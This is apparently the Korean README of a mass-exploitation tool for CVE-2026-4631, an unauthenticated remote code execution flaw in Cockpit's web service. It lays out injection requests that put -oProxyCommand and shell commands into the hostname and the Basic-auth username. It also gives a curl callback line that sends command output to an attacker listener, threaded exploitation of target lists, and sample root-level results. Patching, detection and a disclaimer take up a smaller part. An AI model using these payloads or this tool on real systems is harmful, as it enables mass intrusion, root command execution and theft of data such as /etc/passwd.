
인증되지 않은 원격 코드 실행: SSH 명령줄 인수 주입을 통한 Cockpit 버전 327~359 | CVSS 9.8 Critical | CWE-78
인증되지 않은 원격 코드 실행 — SSH 명령줄 인자 삽입 Cockpit 버전 327~359 | CVSS 9.8 중요(Critical) | CWE-78
Cockpit 웹 서비스(cockpit-ws, 포트 9090)의 CVE-2026-4631을 위한 대량 익스플로잇 도구입니다. 취약점 스캔 모드, 내장 HTTP 콜백 리스너를 통한 명령 출력 캡처 RCE 모드, --auto 모드(스캔 + 익스플로잇을 한 번에, 기본 명령어 id), 포트가 없는 대상에 자동으로 :9090 추가, 두 공격 벡터(ProxyCommand + username %r 삽입), 파일에서 대량 대상 목록 읽기, 동시성 스레딩, 구조화된 결과 출력을 지원합니다.
작성자: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
targets.txt 파일을 편집합니다 — 한 줄에 하나의 호스트. 포트가 없으면 :9090이 자동으로 추가됩니다:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# 스캔 + 익스플로잇을 한 번에, 기본 명령어 "id"
python3 exploit.py -f targets.txt --auto --callback-ip <공격자_IP>
# results.txt 출력 예시:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# 취약점 스캔만 (익스플로잇 없음)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# 사용자 지정 명령어로 명시적 RCE
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <공격자_IP>
# 단일 대상
python3 exploit.py -t cockpit.example.com --auto --callback-ip <공격자_IP>
CVE-2026-4631은 블라인드 RCE입니다 — 명령 출력이 HTTP 응답으로 반환되지 않습니다. 도구는 내장 HTTP 리스너(기본 포트 8888)를 사용하여 출력을 캡처합니다. 다음을 확인하십시오:
--callback-ip는 대상에서 접근 가능한 IP여야 합니다 (127.0.0.1이 아님)8888(또는 사용자 지정 --listener-port)을 허용해야 합니다# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# 버전 확인 (360 이상이어야 함)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
/etc/cockpit/cockpit.conf 편집:
[WebService]
LoginTo = false
서비스 재시작:
sudo systemctl restart cockpit
포트 9090을 관리 네트워크로만 제한:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
벡터 1(ProxyCommand 삽입)을 조기 호스트명 검증을 통해 완화:
ssh -V # OpenSSH_9.6 이상이어야 함
버전 360으로 업그레이드할 수 없는 경우 다음 커밋을 적용:
beiboot.py 및 cockpitauth.c에 -- 구분자 추가session.py에 -- 추가패치 상세내용은 docs/PATCH_ANALYSIS.md 참조
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| 심각도 | 중요(Critical) (CVSS 9.8) |
| CWE | CWE-78 — OS 명령 삽입 |
| 영향 | Cockpit 327~359 |
| 수정 버전 | Cockpit 360+ |
| 인증 필요 | 아니요 (인증 전) |
| 보고자 | Jelle van der Waa |
| 서비스 | cockpit-ws, 기본 포트 9090 |
Cockpit v327은 cockpit-ssh(libssh)를 대체하여 시스템 OpenSSH ssh 클라이언트를 호출하는 python3 -m cockpit.beiboot를 도입했습니다. 사용자 제어 입력(URL 경로의 호스트명과 Authorization: Basic 헤더의 사용자명)이 검증 없이 그리고 -- 종료 옵션 구분자 없이 ssh로 전달됩니다. 삽입은 자격 증명 확인 이전에 발생하므로 유효한 로그인이 필요하지 않습니다.
URL 경로의 호스트명에 SSH 옵션 -oProxyCommand=<명령>을 삽입합니다.
GET /cockpit+=-oProxyCommand=<URL_인코딩_페이로드>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH는 -oProxyCommand=<명령>을 옵션으로 파싱하여 <명령>을 ProxyCommand로 실행합니다. 명령은 cockpit-ws 사용자 프로세스로 실행됩니다.
전제조건: 대상에 OpenSSH < 9.6이 있어야 함. OpenSSH 9.6+는 메타 문자를 차단하는 조기 호스트명 검증 기능이 있습니다.
%r 토큰 삽입 (보조)Authorization: Basic 헤더의 사용자명에 셸 명령어를 삽입합니다.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <명령>; #:x")
SSH는 Match exec 지시문에서 %r을 사용자명으로 확장하여 셸이 삽입된 명령을 실행합니다.
전제조건: 대상의 ssh_config에 %r 토큰을 사용하는 Match exec 지시문이 있어야 함.
LoginTo)이 비활성화되지 않음Match exec %r이 포함된 ssh_config# GitHub에서 클론
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# 의존성 설치
pip install -r requirements.txt
# 확인
python3 exploit.py --help
requests>=2.31 — 익스플로잇 요청을 위한 HTTP 클라이언트colorama>=0.4 — 색상이 적용된 터미널 출력리스너를 위한 추가 의존성은 없음 (stdlib http.server + threading 사용).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — SSH 인자 삽입을 통한 인증되지 않은 RCE
선택적 인수:
-h, --help 이 도움말 메시지를 표시하고 종료
-t, --target 단일 대상 URL/호스트 (포트가 없으면 자동 추가)
-f, --file 대상 목록이 포함된 파일 (한 줄에 하나)
--default-port 대상에 포트가 없을 때 추가할 포트 (기본: 9090)
-c, --cmd 실행할 명령어 (기본: --auto/RCE 모드에서 "id")
--scan 취약점 스캔 모드 (RCE 없음, 엔드포인트만 프로브)
--auto 스캔 + 익스플로잇을 한 번에, 기본 명령어 "id"
--vector 익스플로잇 벡터: auto|proxycommand|username (기본: auto)
-o, --output 결과 출력 파일 (기본: results.txt)
--callback-ip 대상에서 접근 가능한 공격자 IP (콜백 리스너용)
--listener-port 콜백 리스너 포트 (기본: 8888)
--threads 동시 작업자 수 (기본: 10)
--timeout 대상당 콜백 대기 시간(초) (기본: 10)
--delay 요청 간 지연 시간(초) (기본: 0)
--proxy 디버깅용 HTTP 프록시 (예: http://127.0.0.1:8080)
--user-agent 사용자 지정 User-Agent 문자열
-v, --verbose 상세 출력 (디버그)
--no-color 색상 출력 비활성화
--scan)익스플로잇 없이 /cockpit+=probe-host/login 엔드포인트를 프로브합니다. 탐지:
유해한 페이로드를 보내지 않으며 콜백 리스너가 필요하지 않습니다.
-c "명령어")대상에서 명령어를 실행하고 콜백을 통해 출력을 캡처합니다:
curl을 사용하여 리스너로 명령어를 유출(exfil)하도록 래핑-c를 지정하지 않으면 기본 명령어 = id--auto) — 권장스캔 + 익스플로잇을 한 번에 수행, 기본 명령어 id:
:9090 추가)VULN이면 즉시 id(또는 -c 재정의)로 익스플로잇NOT VULN / UNREACHABLE 대상은 건너뜀 (익스플로잇하지 않음)host [ uid=0(root) ... ]--vector auto)먼저 벡터 1(ProxyCommand)을 시도합니다. 응답이 OpenSSH >= 9.6(호스트명 검증 오류)을 나타내면 벡터 2(사용자명 %r)로 폴백합니다.
targets.txt의 각 항목에 포트가 없으면 자동으로 :9090이 추가됩니다:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# 포트가 없는 대상 → 자동 :9090, 기본 명령어 "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# 명령어 재정의
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
results.txt 출력:
# CVE-2026-4631 대량 익스플로잇 결과 — 2026-07-12 00:42
# 모드: auto
# 명령어: id
# 벡터: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - 콜백 수신 없음 (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
scan_results.txt 출력:
target1.example.com:9090 [ VULN - Cockpit 로그인 흐름 활성화됨 (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# 동일: -t http://target:9090/
출력:
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# 벡터 1 ProxyCommand 강제
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# 벡터 2 사용자명 %r 강제
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
결과 파일 형식은 한 줄에 하나의 대상:
<호스트> [ <상태_또는_출력> ]
| 상태 | 의미 |
|---|---|
uid=0(root) ... | RCE 성공, 명령 출력 캡처됨 |
VULN - 콜백 수신 없음 (OpenSSH >= 9.6?) | 대상은 취약하지만 벡터 1이 OpenSSH 9.6+에 의해 차단됨, 벡터 2 시도 |
VULN - 엔드포인트 활성화됨 | 스캔 모드, 취약한 엔드포인트가 탐지됨 |
NOT VULN | Cockpit >= 360 또는 엔드포인트 없음 |
UNREACHABLE | 연결 실패 / 연결 타임아웃 |
ERROR: <메시지> | 실행 중 예외 발생 |
결과 파일 헤더에는 타임스탬프, 명령어, 벡터, 대상 수가 기록됩니다.
flowchart TD
CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>대상 파싱 및 정규화"]
CLI --> Engine["core/engine.py<br/>오케스트레이터"]
Engine --> Listener["core/listener.py<br/>HTTP 콜백 서버 스레드"]
Engine --> Pool["ThreadPoolExecutor<br/>동시 작업자"]
Pool --> Scanner["core/scanner.py<br/>취약점 프로브"]
Pool --> Exploit["core/exploit.py<br/>페이로드 생성기"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cockpit 대상 :9090"]
Target -->|"블라인드 RCE<br/>curl 콜백"| Listener
Listener --> Shared["공유 사전<br/>REQID -> 출력"]
Engine --> Result["utils/result.py<br/>results.txt 작성"]
Shared --> Engine-f 파일 / -t url 읽기, 정규화 (http:// 추가, 기본 포트 9090), 중복 제거--scan 모드, 엔드포인트 프로브, Cockpit 핑거프린트, 취약성 추론requests를 통해 익스플로잇 요청 전송ThreadingHTTPServer를 --callback-ip:--listener-port에 생성, ?id=REQID&out=BASE64 파싱, 공유 사전에 저장호스트 [ 출력 ] 형식의 결과 파일 작성기CVE-2026-4631-cockpit-RCE/
├── exploit.py # 진입점 CLI
├── requirements.txt # 의존성
├── README.md # 이 문서
├── targets.txt # 대상 목록 예제
├── results.txt # 출력 (생성됨)
├── core/
│ ├── __init__.py
│ ├── target.py # 대상 파서
│ ├── scanner.py # 취약점 스캔 모드
│ ├── exploit.py # 페이로드 생성기 + 전송기
│ ├── listener.py # HTTP 콜백 서버
│ └── engine.py # 오케스트레이터
├── utils/
│ ├── __init__.py
│ ├── banner.py # ASCII 배너
│ └── result.py # 결과 작성기
└── docs/
├── VULN_ANALYSIS.md # 취약점 심층 분석
├── PATCH_ANALYSIS.md # 패치 커밋 분석
└── DETECTION.md # 탐지 시그니처
CVE-2026-4631은 블라인드 RCE입니다 — 명령 출력이 Cockpit HTTP 응답에 반환되지 않습니다. 도구는 내장 HTTP 콜백 리스너를 사용하여 이 문제를 해결합니다:
--callback-ip:--listener-port에서 수신curl을 사용하여 명령을 유출하도록 래핑:
bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(명령어 | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<URL_인코딩_페이로드>/login
Authorization: Basic base64("x:x")
requests.get을 통해, 자체 서명 인증서를 위해 verify=False--timeout까지 공유 사전 results[REQID]를 폴링호스트 [ 디코딩된_출력 ]을 출력 파일에 기록타임아웃까지 콜백이 없으면 SSH 오류 응답 확인:
VULN - 콜백 수신 없음 (OpenSSH >= 9.6?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads)가 대상별로 병렬 실행threading.Lock으로 dict[REQID] -> target_host + dict[REQID] -> output 공유ThreadingHTTPServer가 동시 콜백 처리try/except: 연결 오류, SSL 오류, 타임아웃GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
다음을 주시:
-oProxyCommand=Authorization: Basic 값의 세미콜론(;)journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# 취약: 327 <= 버전 <= 359
이 도구는 승인된 침투 테스트, 보안 연구, 그리고 귀하가 소유하거나 테스트에 대한 명시적 서면 허가를 받은 시스템의 취약점 검증을 위해 제작되었습니다.
소유자의 명시적 허가 없이 이 도구를 사용하는 것은 불법이며 관련 법률(인도네시아의 경우: UU ITE 제30-33조)에 따라 형사 처벌을 받을 수 있습니다.
저자는 이 도구의 오용에 대해 책임을 지지 않습니다. 윤리적이고 책임감 있게 사용하십시오.
승인된 사용 사례:
| 리소스 | URL |
|---|---|
| GitHub Advisory | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| OSS-Security 공개 | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| NVD 항목 | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| 수정 커밋 (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| 수정 커밋 (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse 버그 | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 호스트명 검증 | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| 참조 PoC | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |
연구 및 승인된 테스트 목적으로 사용됩니다. 허가 없이 상업적으로 배포할 수 없습니다.